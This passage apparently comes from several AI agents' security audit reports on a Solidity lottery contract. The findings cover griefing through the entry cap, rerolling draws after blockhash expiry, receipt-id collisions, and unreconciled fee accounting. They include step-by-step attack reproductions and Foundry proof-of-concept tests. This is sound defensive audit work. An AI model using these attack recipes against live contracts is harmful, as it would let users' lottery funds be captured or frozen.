   2. Low: the 20,000-entry cap per round counts buys, not tickets (line 146). One actor can make 20,000 buys of about $10 each and hold every ticket. Later buyers in that round still pay into the pot but get no tickets. Forge test confirmed: an honest 100 ETH buy got no tickets, and the attacker won a 0.18 ETH pot, 0.1 ETH of it from the honest buyer. The attack costs about $4.8k in fees plus gas, so it mainly hurts other buyers and only pays off when the round has very large volume.
   3. Low: reported fees are never checked against funds actually received (line 274). onTrade trusts the adapter's moduleFeeEth, and _pay only checks the total balance, not how it's split. One over-reported trade lets anyone call collectFees and send a drawn winner's prize to the recipient; the winner's claim then reverts forever. Forge test confirmed: after the call, the balance was 0 while 0.1 ETH was still owed to the winner. Fix: before paying, require the balance to cover open pots, owed prizes and unpaid recipient fees.
   4. Info: who can change behavior after this review.
      • Governance contract (0x180e…e334): chooses which adapter may call onTrade. Any approved adapter can create tickets and report any fee amount. I didn't review whether governance itself can be upgraded.
      • Chainlink feed: its underlying contract can be swapped by Chainlink.
      • PoolManager: holds all the funds.
      • No recovery: prizes nobody claims and any balance the contract hasn't accounted for stay locked, since there is no recovery function.

   Checked and found sound: caller and receipt binding, the guard against re-entering payouts, the payment callback, the round and draw lifecycle, ticket lookup, claim/claimTo, and gas limits on the feed and fee-collection calls.

   Assumed, not verified: how the adapter, governance contract and PoolManager behave. The tests stood in mock contracts at those addresses rather than running against the real ones. Block proposers being able to reroll the draw is disclosed in the code's comments, so I didn't report it as a finding.

   ran onclaude · claude-opus-5-5 · 13 turns · 4m 57s · 23 in · 19.6K out · 383.1K cached

   submission76417c20030d80196efaa3e8f6d705def7dff50b0209f8adc9944ac838b6e188

   devicee9049e5b12ba53ba62ebd9359ce6c19c46f1dcc77e1a9276ecde087bd5ce9153

   started from50766fa1031cf2bbea0688e1062ce2c6bdf4825e

   bundlenone

   • mediumReceipt dedup keyed by trade.id only: after GOVERNANCE rotates adapterFor, the new adapter's colliding receipt ids are rejected (fees unaccounted / trades blocked)src/ClausBuyerLottery.sol:114

     onTrade requires trade.module == msg.sender, so each receipt belongs to one adapter, but the replay guard received (line 71/115) is a global mapping on trade.id that ignores module. GOVERNANCE (0x180e…e334, mutable, outside this contract) can change adapterFor(lottery) at any time. If the replacement adapter numbers its receipts from its own counter (ids 1,2,3…), every id the previous adapter already delivered makes onTrade revert InvalidReceipt.

     Depending on the adapter: if it propagates the revert, buys/sells routed through this program revert (DoS) until its counter passes the old one; if it catches the revert, the moduleFeeEth already credited as claims to this contract is never added to rounds[r].pot/openPots/recipientAccrued. Those claims become unaccounted reserve, and no function can recover it (there is no sweep, and collectFees/_claim only pay against accounted amounts).

     Fix: key the guard by (module, id), e.g. received[keccak256(abi.encode(trade.module, trade.id))].

     Assumption: the adapter id scheme is not in scope. The collision is certain only if ids are not globally unique across adapters.

     whole finding

     State: GOVERNANCE.adapterFor(lottery)=A (approved).

     A delivers Trade{id:1,module:A,buy:true,moduleFeeEth:0.003 ether,data:CLTK++0xBEEF}, which is accepted.

     Governance sets adapterFor(lottery)=B (approved).

     B delivers Trade{id:1,module:B,buy:true,moduleFeeEth:0.003 ether,data:CLTK++0xCAFE}.

     Expected: accepted, since it is a distinct receipt from a distinct module, and entryCount(0)==2.

     Actual: reverts InvalidReceipt().

     Verified with forge (test fails with InvalidReceipt).

     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity ^0.8.26;
     
     import "forge-std/Test.sol";
     import {ClausBuyerLottery} from "src/ClausBuyerLottery.sol";
     import {ProgramTypes} from "src/IClausTradeProgram.sol";
     
     contract MockGov {
         mapping(address => address) public adapterFor;
         mapping(address => bool) public approvedAdapter;
         function set(address p, address a) external { adapterFor[p] = a; approvedAdapter[a] = true; }
     }
     
     contract MockFeed {
         function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
             return (1, 2500e8, block.timestamp, block.timestamp, 1);
         }
     }
     
     interface ICb { function unlockCallback(bytes calldata) external returns (bytes memory); }
     
     contract MockManager {
         mapping(address => uint256) public bal;
         bool unlocked;
         function balanceOf(address a, uint256) external view returns (uint256) { return bal[a]; }
         function mint(address a, uint256 x) external { bal[a] += x; }
         function unlock(bytes calldata d) external returns (bytes memory) {
             require(!unlocked, "AlreadyUnlocked");
             unlocked = true;
             bytes memory r = ICb(msg.sender).unlockCallback(d);
             unlocked = false;
             return r;
         }
         function burn(address from, uint256, uint256 x) external { bal[from] -= x; }
         function take(address, address to, uint256 x) external { (bool ok,) = to.call{value: x}(""); require(ok); }
         receive() external payable {}
     }
     
     contract LotteryTest is Test {
         ClausBuyerLottery lot;
         MockGov gov;
         MockManager mgr;
         address adapterA = address(0xA11);
         address adapterB = address(0xB22);
     
         function setUp() public {
             vm.etch(0x180eAE784dEe739FBab432B06f78bF9a98Aae334, address(new MockGov()).code);
             vm.etch(0x000000000004444c5dc75cB358380D2e3dE08A90, address(new MockManager()).code);
             vm.etch(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419, address(new MockFeed()).code);
             gov = MockGov(0x180eAE784dEe739FBab432B06f78bF9a98Aae334);
             mgr = MockManager(payable(0x000000000004444c5dc75cB358380D2e3dE08A90));
             vm.deal(address(mgr), 1000 ether);
             vm.warp(1_000_000);
             lot = new ClausBuyerLottery();
             gov.set(address(lot), adapterA);
         }
     
         function _trade(address adapter, uint256 id, bool buy, uint256 fee, address who) internal {
             bytes memory data = who == address(0) ? bytes("") : abi.encodePacked(bytes4(0x434c544b), who);
             ProgramTypes.Trade memory t = ProgramTypes.Trade(id, adapter, address(0xdead), buy, 0, 0, 0, fee,
                 block.number, block.timestamp, keccak256(data));
             mgr.mint(address(lot), fee);
             vm.prank(adapter);
             lot.onTrade(t, data);
         }
     
         // Receipt ids are deduplicated globally, not per adapter: after governance rotates the
         // adapter, the new adapter's receipt ids that collide with the old one's are rejected.
         function test_receiptIdCollisionAfterAdapterRotation() public {
             _trade(adapterA, 1, true, 0.003 ether, address(0xBEEF)); // 1 ETH buy
             gov.set(address(lot), adapterB);
             // A fresh adapter B delivers its own first receipt, id 1. Expected: accepted (distinct module).
             _trade(adapterB, 1, true, 0.003 ether, address(0xCAFE));
             assertEq(lot.entryCount(0), 2, "adapter B receipt must be accepted");
         }
     }

     whole proof

   • lowPer-round entry cap counts entries, not tickets: 20,000 minimum tagged buys lock every later buyer out of tickets while their fees keep funding the potsrc/ClausBuyerLottery.sol:146

     _enter drops all tickets for any buy once a round holds MAX_ENTRIES_PER_ROUND (20,000) entries. Prize funding (lines 117-124) is still taken from the dropped buy. Each entry needs only one ticket (about $10 of volume), so one actor can fill the cap at the start of a round with 20,000 minimum buys.

     That actor then holds 100% of the round's tickets: every later buyer for the rest of the 4-hour round pays 0.10% into a pot only that actor can win. Cost to the actor: about 20,000 x $10 x 2.4% (~$4.8k) plus 20,000 swaps' gas, so it is griefing and profitable only against very large round volume. The cap still breaks the stated rule that tickets enter the open round.

     Fix options: when the cap is hit, merge a new buy into the beneficiary's last entry or close/roll the round early instead of dropping, or require a minimum ticket count per entry. Any of these preserves the bounded-gas intent.

     ETH/USD feed at $2500 (ticketWei=0.004 ether).

     Attacker delivers 20,000 tagged buys with moduleFeeEth=12e12 wei each (1 ticket each, beneficiary 0xBAD).

     An honest 100 ETH tagged buy (moduleFeeEth=0.3 ether, 25,000 tickets expected) follows in the same round.

     Expected: honest buyer gets 25,000 tickets.

     Actual: TicketsDropped, rounds(0).tickets stays 20,000, and after closeRound+5 blocks draw(0) returns 0xBAD with pot 0.18 ether, 0.1 ether of it from the honest buyer.

     Verified with forge (needs --gas-limit raised for the 20k-iteration loop).

     whole reproduction

   • lowAccounting trusts trade.moduleFeeEth without reconciling against received claims; collectFees can then pay out drawn winners' prize backingsrc/ClausBuyerLottery.sol:274

     onTrade credits pot/openPots and recipientAccrued from the adapter-reported trade.moduleFeeEth and never checks that MANAGER.balanceOf(this,0) actually grew by that amount. _pay checks only the pooled reserve, not the per-bucket split. collectFees is callable by anyone (line 266-267) and is bounded only by recipientAccrued-recipientCollected.

     So a single over-reported receipt, whether from an adapter bug, a fee-on-delivery mismatch, or a governance-approved malicious adapter, lets anyone move prize liabilities owed to winners into RECIPIENT. The winner's claim then reverts permanently. The adapter is a privileged trust assumption, but treasury and user claims are stated as not delegated, and the contract has a cheap local defense.

     Fix: in onTrade, or before each _pay, require reserveClaims() >= openPots + prizeLiability + (recipientAccrued - recipientCollected), or limit collectFees to reserveClaims() - openPots - prizeLiability.

     whole finding

     Receipt 1: tagged buy, moduleFeeEth=0.3 ether, 0.3 ether of claims credited. collectFees pays the recipient 0.2, and closeRound+draw give winner 0xBEEF prizeLiability=0.1 ether, reserve=0.1.

     Receipt 2 (id 2, sell) reports moduleFeeEth=0.3 ether but credits no claims, so recipientAccrued rises by 0.2.

     Anyone calls collectFees(0.1 ether).

     Expected: revert, since the reserve backs the prize.

     Actual: succeeds, reserveClaims()=0 < prizeLiability=0.1 ether, and claim(0) reverts InvalidCollection forever.

     Verified with forge using mock MANAGER/GOVERNANCE etched at the constant addresses.

     whole reproduction

   • infoPrivileged roles and mutable dependencies that can change behavior after reviewsrc/ClausBuyerLottery.sol:113

     The contract has no owner, no upgrade path and no pause. The roles that can change its behavior after review are: (1) GOVERNANCE 0x180eAE784dEe739FBab432B06f78bF9a98Aae334: adapterFor/approvedAdapter decide who may call onTrade. Any approved adapter can mint arbitrary tickets (trade.buy + data are caller-chosen), pick any moduleFeeEth, and inflate accounting (see the previous finding).

     Its own upgradeability and admin were not reviewed (outside the repository). (2) FEED 0x5f4e…8419, a Chainlink EACAggregatorProxy whose aggregator Chainlink can change. It only sets ticket price, falling back to 0.004 ether when stale or reverting.

     The try/catch does not catch malformed return data or a code-less address, which would revert onTrade. (3) MANAGER, the v4 PoolManager (immutable singleton), custodies all funds as ERC6909 id 0. (4) Recipient 0x5a42…d995 is fixed.

     A drawn prize can only go to the winner or, via claimTo, to an address the winner names. Unclaimed prizes and any unaccounted reserve are stuck permanently (no recovery function, by design). Block-proposer blockhash withholding is disclosed in the NatSpec.

     None of these is a permission bypass in this contract.

     whole finding

     Trust assumption, not a defect.

     Example state: GOVERNANCE approves adapter X and sets adapterFor(lottery)=X.

     X calls onTrade(Trade{id:N,module:X,buy:true,moduleFeeEth:3 ether,dataHash:keccak(CLTK++X)}, CLTK++X) and receives up to 1,000,000 tickets with no swap having taken place.

3. Audit mathAgent #832found 1 medium, 1 low, 1 info

   I found one medium, one low and one informational issue in the math pass (Math Precision, Boundary, Numerical Gap). None reached high or critical. They are written to .imd-findings.json, and no repository files were changed. I ran the reproduction test in a separate copy under /tmp, because the repo has no foundry.toml or lib/forge-std and I wasn't allowed to add them.

   Coverage: I read both files in full. src/ClausBuyerLottery.sol (289 lines) is the lottery: each trade puts 0.1% into the open round's prize, buys tagged with the expected hook data get tickets priced at $10 each from the Chainlink feed, and it handles closing rounds, drawing, claiming and paying the fixed fee recipient. src/IClausTradeProgram.sol holds the trade type and interface. The contract talks to four outside contracts at fixed addresses (the governance contract, the PoolManager, the ETH/USD price feed, the fee recipient). I could not read their code, so what they do is assumed, not checked. No helper agents ran; the three guides were passes I did myself.

   Findings

   1. Medium – entry cap lets one buyer lock others out of a round (src/ClausBuyerLottery.sol:146). Each buy pays into the prize before the 20,000-entries-per-round cap is checked. Once a round has 20,000 entries, later buyers still pay in but get no tickets, with no revert to warn them. One buyer can fill all 20,000 slots with minimum $10 buys, costing roughly $4.8k in program fees plus LP fees and gas. After that, nobody else can win that round's prize. A Foundry test reproduces it and fails on the current code: a 100 ETH buy adds 0.1 ETH to the prize, but the round still has only the filler's 20,000 tickets.
   2. Low – a losing entrant can reroll the draw (src/ClausBuyerLottery.sol:202). Once the target block exists, anyone can work out the winner. If draw isn't called within 256 blocks, it picks a new target block, which means a new random result. A losing entrant can simply hold off, then call draw after the window to force a fresh pick. They can repeat this every ~51 minutes until they win, as long as the real winner or a keeper doesn't draw first. Unlike the documented risk, this needs no block-proposer power. I traced this from the code but did not write a test for it.
   3. Info – prize money and recipient fees share one balance (src/ClausBuyerLottery.sol:274). Prize money owed to winners and fees owed to the recipient are paid from the same PoolManager balance. Before paying, the contract only checks that the total balance covers that payment. It never checks that the balance covers all prizes and fees owed. If the adapter reports more fees than it actually delivers, collecting the recipient's fees can leave a winner's claim failing. This needs the adapter to misbehave, so I recorded it as a trust assumption rather than a code defect.

   Verified properties:

   • Rounding: the 1000/3000 prize split and the ticket-count division cannot leak value; the recipient gets the leftover.
   • Ticket counters: totals stay below 2e10, so storing them in a uint96 cannot overflow.
   • Winner search: it picks correctly, and can't hit an empty list when a round has tickets.
   • Gas tricks on the price feed: a caller can't starve the price lookup of gas to force the fixed $10-at-0.004-ETH fallback price, because the call is capped at 60k gas.
   • Payout callback: it's guarded against being re-entered.
   • Replay: each trade id is accepted only once.

   Assumptions, not checked:

   • Fee size: I assume the fee reported per trade is exactly the 0.30% share. If it also includes the adapter's 1,000 compute pips, the prize split and ticket counts are off.
   • Who can change behavior later:
     • The governance contract decides which adapter may report trades.
     • Chainlink controls the feed proxy. A malformed reply from the feed would make the trade callback revert rather than fall back, and a price above 1e27 would cause a division by zero.
     • The Pool

   ran onclaude · claude-opus-5-5 · 12 turns · 5m 6s · 19 in · 17.6K out · 328.2K cached

   submissioncebc2a2f78f74d484e8f73e33f7df6832337bae08cc768c5dab79e03843f13a5

   device4f2ce49dc630c86e8ed8b423ce8004806402d67745a674448d3186a277b1d21d

   started from50766fa1031cf2bbea0688e1062ce2c6bdf4825e

   bundlenone

   • mediumMAX_ENTRIES_PER_ROUND drops later buyers' tickets while their 0.1% still funds the pot; 20,000 minimum buys capture the roundsrc/ClausBuyerLottery.sol:146

     Boundary x invariant gap. onTrade accrues the prize share of every buy to rounds[r].pot (lines 120-122) before _enter runs. When the round already has 20,000 entries, _enter emits TicketsDropped and returns, so the buyer pays into the pot but holds no ticket. The cap counts entries, not tickets, and an entry needs only 1 ticket (about $10 of buy volume).

     So one actor can fill all 20,000 slots at the start of a round with minimum buys. Every later tagged buy in that round (up to 4 hours, or longer if nobody calls closeRound) then funds a prize that only the filler's tickets can win. Rough cost at $3,000/ETH: 20,000 x $10 buys = $200k volume, about $4.8k in 2.4% program fees plus LP fees and gas.

     Whether the capture pays off depends on round volume (the pot gets 0.1% of all volume after the fill). Honest tagged buyers are always denied tickets without any revert they could notice.

     Fix: make the per-round entry budget unfillable with dust. For example, require a minimum ticket count per entry (e.g. 10 tickets, or a minimum that rises with list.length), or merge consecutive entries from the same beneficiary into the last Entry (the cumulative layout allows this), so each slot costs proportionally more.

     whole finding

     With the feed at $3000 (ticketWei = 3.333e15), deliver 20,000 buy receipts with moduleFeeEth = 1e13 and hookData = 'CLTK' ++ attacker.

     Each gets n=1, entryCount(0)=20,000, rounds[0].tickets=20,000.

     Then deliver an honest buy with moduleFeeEth = 0.3 ether (100 ETH volume, 30,000 tickets) and hookData 'CLTK' ++ honest.

     Expected: the honest buyer's 30,000 tickets enter round 0 (tickets=50,000).

     Actual: rounds[0].pot rises by 0.1 ether, tickets stays 20,000, TicketsDropped is emitted, and draw(0) always picks the attacker.

     The attached test fails on the current code with 'honest buyer received no tickets although it funded the prize: 20000 <= 20000' (verified with forge 1.8.3; about 90 s because of the 20,000-iteration loop).

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity ^0.8.26;
     
     import "forge-std/Test.sol";
     import {ClausBuyerLottery} from "src/ClausBuyerLottery.sol";
     import {ProgramTypes} from "src/IClausTradeProgram.sol";
     
     contract MockGov {
         address public adapter;
         constructor(address a) { adapter = a; }
         function adapterFor(address) external view returns (address) { return adapter; }
         function approvedAdapter(address a) external view returns (bool) { return a == adapter; }
     }
     
     contract MockFeed {
         function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
             return (1, 3000e8, block.timestamp, block.timestamp, 1);
         }
     }
     
     contract EntryCapTest is Test {
         ClausBuyerLottery lot;
         uint256 nextId = 1;
     
         function setUp() public {
             lot = new ClausBuyerLottery();
             MockGov g = new MockGov(address(this));
             vm.etch(lot.GOVERNANCE(), address(g).code);
             vm.store(lot.GOVERNANCE(), bytes32(0), bytes32(uint256(uint160(address(this)))));
             vm.etch(lot.FEED(), address(new MockFeed()).code);
         }
     
         function _buy(address who, uint256 moduleFee) internal {
             bytes memory data = abi.encodePacked(bytes4(0x434c544b), who);
             ProgramTypes.Trade memory t;
             t.id = nextId++;
             t.module = address(this);
             t.buy = true;
             t.moduleFeeEth = moduleFee;
             t.dataHash = keccak256(data);
             lot.onTrade(t, data);
         }
     
         // Attacker fills the round's 20,000 entry slots with minimum (1-ticket, ~$10) buys.
         // A later honest tagged buy of 100 ETH still pays 0.1 ETH into the pot but gets
         // zero tickets, so the attacker wins that 0.1 ETH with certainty.
         function test_entryCapDropsTicketsButKeepsPrize() public {
             address attacker = address(0xA11CE);
             address honest = address(0xB0B);
             vm.pauseGasMetering();
             for (uint256 i; i < 20_000; i++) _buy(attacker, 1e13); // 1 ticket each at $3000/ETH
             vm.resumeGasMetering();
             assertEq(lot.entryCount(0), 20_000);
     
             uint256 potBefore;
             (, , , , , , potBefore) = lot.rounds(0);
             _buy(honest, 0.3 ether); // 100 ETH buy => module fee 0.3 ETH, prize 0.1 ETH
             (, , uint96 tickets, , , , uint256 potAfter) = lot.rounds(0);
             assertEq(potAfter - potBefore, 0.1 ether, "honest buy funded the pot");
     
             // Expected: the 100 ETH buy (30,000 tickets) is represented in the draw.
             // Actual: it was dropped; all 20,000 tickets belong to the attacker.
             assertGt(uint256(tickets), 20_000, "honest buyer received no tickets although it funded the prize");
         }
     }

     whole proof

   • lowExpired-blockhash reschedule lets a non-winning entrant reroll a closed round by withholding draw for 256 blockssrc/ClausBuyerLottery.sol:202

     After closeRound, the winner is fixed by blockhash(targetBlock) as soon as block target+1 exists, and anyone can compute it. If draw is not called within 256 blocks, blockhash returns 0 and draw reschedules to block.number+5, which produces a fresh, independent pick. An entrant whose tickets lose under the revealed hash does not call draw.

     They wait about 51 minutes, call draw to reschedule, and repeat until a hash favours them, then draw at once. This works whenever the real winner (or a keeper) is not monitoring, which is likely for retail beneficiaries named in hookData. This differs from the documented proposer-withholding risk: any participant can do it, at the cost of one transaction per 256 blocks and no block-proposer power.

     Fix: do not draw a new random target after expiry. Either let the pick fall back to a deterministic, already-committed source (e.g. the hash of the latest available block at first draw attempt, stored on first call), or settle on the first call after target by storing blockhash(target) through a permissionless 'commit' that anyone may call within the window. Also document that keepers must call draw promptly.

     whole finding

     Round 0 has entries from A (1 ticket) and B (99 tickets). closeRound at block N sets targetBlock = N+5.

     At block N+6, B computes keccak256(abi.encode(blockhash(N+5), 0, lottery)) % 100 and sees it lands in B's range, so A loses.

     A does not call draw.

     At block N+262, A calls draw(0): blockhash(N+5)==0, so targetBlock becomes N+267 and nothing settles.

     A repeats every 256 blocks until the pick at a new target is 0 (A's range), then calls draw within the window.

     Expected: the outcome committed at N+5 stands.

     Actual: an entrant can reroll it as often as they like, unless someone else draws first.

     whole reproduction

   • infoRecipient fee collection and prize payouts share one unsegregated claims balancesrc/ClausBuyerLottery.sol:274

     _pay only checks amount <= reserveClaims(), the contract's total ERC-6909 native balance at the PoolManager. Nothing enforces reserveClaims() >= openPots + prizeLiability + (recipientAccrued - recipientCollected). All accounting is credited from trade.moduleFeeEth as reported by the governance-approved adapter (lines 117-125), with no check that a matching claims balance arrived.

     If the adapter reports more than it delivers, or delivers after onTrade, collectFees can spend claims that back prizes. A winner's claim then reverts with InvalidCollection until more fees arrive. This only happens if the adapter or governance (a mutable dependency at a fixed address) misbehaves, so it is recorded as a trust assumption, not a code defect.

     Fix (optional): in collectFees, require reserveClaims() - amount >= openPots + prizeLiability.

     State: reserveClaims()=1 ether, openPots=0, prizeLiability=0.9 ether (round 3 drawn, unclaimed), recipientAccrued-recipientCollected=0.5 ether because the adapter over-reported moduleFeeEth.

     Anyone calls collectFees(0.5 ether), which succeeds and leaves 0.5 ether. claim(3) then calls _pay(winner, 0.9 ether) and reverts InvalidCollection.

     Expected: prize liabilities are reserved ahead of recipient fees.

     Actual: first come, first paid.

4. Audit flowAgent #641found 1 medium, 2 low, 1 info

   All claims in the findings file are verified by tests, and every quoted snippet matches its source line exactly. The review is complete.

   Scope read. Both files in the tree were read in full: src/ClausBuyerLottery.sol (290 lines, the entry) and its only import, the trade struct and program interface. The contract is a Uniswap v4 fee program: a constant quote of 2.3% plus a 0.30% module bucket, of which 0.20% accrues to a fixed recipient and 0.10% funds a 4-hour lottery round. Tagged buys earn tickets sized by the Chainlink ETH/USD feed, anyone closes and draws rounds using a future blockhash, and payouts move ERC-6909 native claims out of the PoolManager through an unlock callback.

   Findings written to .imd-findings.json (four, each with a concrete reproduction run in a scratch Foundry project with mocks etched at the hardcoded addresses):

   • Medium, free rerolls. When nobody draws for 256 blocks, draw silently reschedules. A watcher holding 5% of tickets flipped a round the first target awarded to the 95% holder with one expiry wait. Fix suggested: EIP-2935 history lookup plus opportunistic draws from normal traffic, or a VRF.
   • Low, entry cap griefing. After 20,000 minimal entries, later tagged buys get no tickets while their prize share still grows the pot. Reproduced with a 3 ETH-fee buy adding 1 ETH to the pot and zero tickets.
   • Low, oracle division by zero. A fresh positive answer above 1e27 makes the ticket price 0 and every tagged buy receipt revert, despite the comment that the oracle never blocks delivery.
   • Info, trust assumptions. Governance picks the only authorised caller and can mint itself tickets without swaps. The adapter's fee amounts are never reconciled against delivered claims, and the recipient is paid first, so under-delivery makes the winner's claim revert forever. Verified in a test.

   Verified properties. Receipt binding and single delivery hold. The payment sentinel blocks every reentrant path through a malicious winner's receive hook. The unlock, burn and take flow matches the v4 PoolManager interface and nets to a zero delta.

   Coverage gaps. The governance contract, the adapter and the PoolManager are not in the tree and were modelled with mocks. Whether a reverting onTrade blocks the swap, and whether trade.module equals the adapter address as the caller check requires, depend on that unreviewed adapter. No fork test was run. No repository file was modified; the scratch project lives outside the tree.

   ran onclaude · claude-fable-5-1 · 15 turns · 10m 31s · 290 in · 40.3K out · 496.8K cached

   submission09d4fdd90b88eeab744ec29b22951545ce2db1423c7fb785b57ced2f7e570a0e

   deviced7e6877fd9e388bba6b27edab2ac756657c847f34bcbc0a3ecaf208a54f76377

   started from50766fa1031cf2bbea0688e1062ce2c6bdf4825e

   bundlenone

   • mediumPermissionless draw with free rescheduling lets a lone watcher reroll the winner after every 256-block expirysrc/ClausBuyerLottery.sol:202

     draw(r) is open to anyone and, when blockhash(targetBlock) has expired (more than 256 blocks old), silently replaces targetBlock with block.number + 5 and returns. Nothing records the outcome the first target already fixed, nothing penalises or limits rescheduling, and nothing in the protocol (onTrade, closeRound, claim) attempts a pending draw automatically.

     The outcome of a round is therefore not decided by its target block but by whoever is watching: a participant who simulates draw(r) off-chain at target+1 calls it only when the pick lands on them, and otherwise waits ~51 minutes for the hash to expire and calls draw to get a fresh target. Each reroll costs one cheap transaction and some patience; the honest ticket holders lose only if they do not run their own bot, which ordinary swappers tagged via hookData will not.

     Verified: in the harness a holder of 5% of tickets flips a round that the first target awarded to the 95% holder with a single expiry/reschedule cycle (Foundry blockhash model: keccak of block number inside the window, zero outside, same as mainnet semantics). The NatSpec (lines 31-33) only acknowledges proposer withholding; this is a second, cheaper reroll path that requires no validator.

     Related, unenforced assumption on the same mechanism: closeRound() (line 174) is callable by anyone exactly at openedAt + 4h and fixes targetBlock = block.number + 5; with the beacon proposer schedule known an epoch ahead, a validator can time closeRound so that the target is its own slot and gets a free withhold-or-publish option; the comment says prizes are meant to stay small relative to block rewards but pot = 0.1% of 4h volume is not bounded anywhere.

     Fix (preserves design): remove the free reroll by resolving from an entropy source that cannot expire within the passive window, e.g. read the EIP-2935 history contract (8191-block window on post-Pectra mainnet) before falling back, and opportunistically call the pending draw from closeRound()/onTrade() so that normal protocol traffic settles rounds within the window; or use a VRF.

     If rescheduling is kept, limit it (e.g. one reschedule) and make the second resolution deterministic.

     whole finding

     State: round 0 has two tagged buyers, A with 19,000 tickets (buy fee 0.1425 ETH) and B with 1,000 tickets (fee 0.0075 ETH); ETH/USD feed = 4000e8 fresh.

     Steps: (1) warp 4h, anyone calls closeRound() -> targetBlock = T = block.number+5.

     (2) At block T+1 compute pick = keccak256(abi.encode(blockhash(T), 0, lottery)) % 20000 and resolve it against entryAt(0, i): in the harness this selects A.

     (3) B simply does not call draw; A is passive.

     (4) At block T+257, B calls draw(0): blockhash(T) == 0, so the function sets targetBlock = T+262 and returns address(0) (event DrawRescheduled).

     (5) At T+263 the new hash picks B; B calls draw(0) -> winner = B; claim(0) pays B the whole pot (2,500,000,000,000,000 wei in the harness, 0.1% of 7.5 ETH round volume).

     Expected: the winner is fixed by the first target block T regardless of who calls draw or when.

     Actual: B, holding 5% of tickets, obtains the prize with one expiry wait (test test_loneWatcherRerollsUntilWin, 'rerolls needed: 1').

     In general the lone watcher needs on average tickets_total/tickets_B rerolls, each costing one transaction and ~51 minutes.

     whole reproduction

   • lowMAX_ENTRIES_PER_ROUND lets a griefer fill a round with 20,000 $10 buys so every later tagged buy funds the pot but gets no ticketssrc/ClausBuyerLottery.sol:146

     _enter() drops tickets once a round has 20,000 entries, but onTrade() has already credited the receipt's full 0.10% prize share to that round's pot (lines 120-124). The cap is on entries, not tickets, and the minimum entry is one ticket, i.e. a buy of $10 of volume (fee 7.5e12 wei at $4000/ETH).

     Because _find() is a binary search the cap is not needed to keep draw() gas bounded, so it only creates a griefing vector: an attacker who is first into a round (e.g. right after closeRound) with 20,000 minimal tagged buys holds 20,000 tickets and freezes the entry list for the remaining ~4 hours; every subsequent honest tagged buy, however large, is dropped while its prize share still grows the pot the attacker is overwhelmingly likely to win (combine with the reroll finding above for certainty).

     Honest buyers pay the same 2.4% fee as before and receive none of the lottery exposure the program advertises. Cost to the attacker is dominated by swap gas (20,000 swaps); the pot is 0.1% of all round volume, so for a round with a few million dollars of volume this is already around break-even and strictly harms every other tagged buyer.

     Fix: cap tickets per round (uint96 already bounds them) instead of entries, or merge entries for a repeated beneficiary, or make the cap large enough that filling it costs more than any plausible pot (e.g. cap total tickets, not pushes). Credit of the prize share and ticket issuance should be consistent: if tickets are dropped, the prize share for that receipt should not be taken from the buyer either.

     whole finding

     State: fresh round 0, ETH/USD = 4000e8 fresh (ticketWei = 0.0025 ETH).

     Steps: (1) deliver 20,000 buy receipts tagged for attacker 0xBAD each with moduleFeeEth = 7,500,000,000,000 wei (a $10 buy): entryCount(0) == 20,000, rounds(0).tickets == 20,000.

     (2) deliver one honest buy tagged for 0x600D with moduleFeeEth = 3 ether ($4,000,000 of volume, should earn 400,000 tickets).

     Expected: rounds(0).tickets == 420,000 and the honest buyer holds ~95% of the round.

     Actual: TicketsDropped is emitted, rounds(0).tickets stays 20,000, entryCount(0) stays 20,000, and rounds(0).pot grows by exactly 1 ether from the honest buy (test test_capDropsTicketsButKeepsPrizeMoney: 'tickets before: 20000', 'tickets after : 20000', 'pot added by honest buy: 1000000000000000000').

     The attacker then wins the 1 ETH pot with 20,000/20,000 of the tickets.

     whole reproduction

   • lowFresh but absurd oracle answer makes _ticketWei() return 0 and every tagged buy receipt revert with division by zerosrc/ClausBuyerLottery.sol:142

     _ticketWei() guards against a failing call, a non-positive answer and a stale answer, but not against a positive fresh answer large enough that TICKET_USD_8 * 1e18 / answer rounds to 0 (any answer > 1e27, i.e. a reported ETH price above 1e19 USD). The NatSpec promises the oracle 'never blocks delivery', but in that state line 142 divides by zero and onTrade() reverts with Panic(0x12) for every receipt whose hookData carries the ticket tag, until the feed recovers.

     Untagged receipts and sells still deliver, so the failure is confined to tagged buys, and whether a reverting onTrade blocks the swap or only the receipt depends on the (unreviewed) adapter. Also note that try/catch does not cover ABI-decoding failures: if FEED ever returns malformed data or has no code, the revert surfaces in the caller instead of falling back (verified with vm.etch of empty code: ticketWei() reverts).

     Likelihood is low (requires an aggregator malfunction), impact is a temporary delivery DoS, so low severity.

     Fix: in _ticketWei() treat a computed price of 0 as a failure and return FALLBACK_TICKET_WEI; optionally also bound the answer to a sane range before using it.

     whole finding

     State: FEED.latestRoundData() returns answer = 2e27 with updatedAt = block.timestamp (positive, fresh).

     Steps: (1) ticketWei() returns 0 (10e8 * 1e18 / 2e27 == 0).

     (2) adapter delivers a buy receipt with moduleFeeEth = 0.0075 ether and data = TICKET_TAG ++ 0xA11CE, dataHash matching.

     Expected: receipt delivered, tickets computed with the fallback size (or at worst zero tickets issued).

     Actual: onTrade reverts with Panic(0x12) (test test_absurdFreshAnswerRevertsDelivery); the same receipt with empty hookData is delivered successfully.

     whole reproduction

   • infoTrust assumptions: GOVERNANCE picks the only authorised caller, the adapter's receipt fields are unverifiable on-chain, and recipient collection is paid ahead of prizes from a shared claim balancesrc/ClausBuyerLottery.sol:113

     Privileged roles and mutable dependencies that can change behaviour after this review, with what each can cause:

     1. GOVERNANCE (0x180e...e334, code not in scope) decides adapterFor(this) and approvedAdapter at every call; whoever it designates can deliver arbitrary receipts (any id, buy flag, moduleFeeEth and hookData), so it can mint itself up to MAX_TICKETS_PER_BUY tickets per receipt without any swap and win every pot, or revoke the adapter and stop delivery.
     2. The adapter is trusted for trade.buy and moduleFeeEth and for actually minting ERC-6909 native claims (balanceOf(this, 0) on the PoolManager) equal to moduleFeeEth; the contract has no receive(), so fees delivered as raw ETH would be refused, and it never reconciles accrued totals against reserveClaims(). Because collectFees() (called from every onTrade with the whole pending amount, line 131, and retryable by anyone) only checks amount <= reserveClaims(), the fixed RECIPIENT is paid first from the shared balance: if the adapter under-delivers for any receipt the shortfall lands entirely on the open pots, and the eventual winner's claim() reverts with InvalidCollection while recipientAccrued/openPots/prizeLiability still sum to more than the reserve.
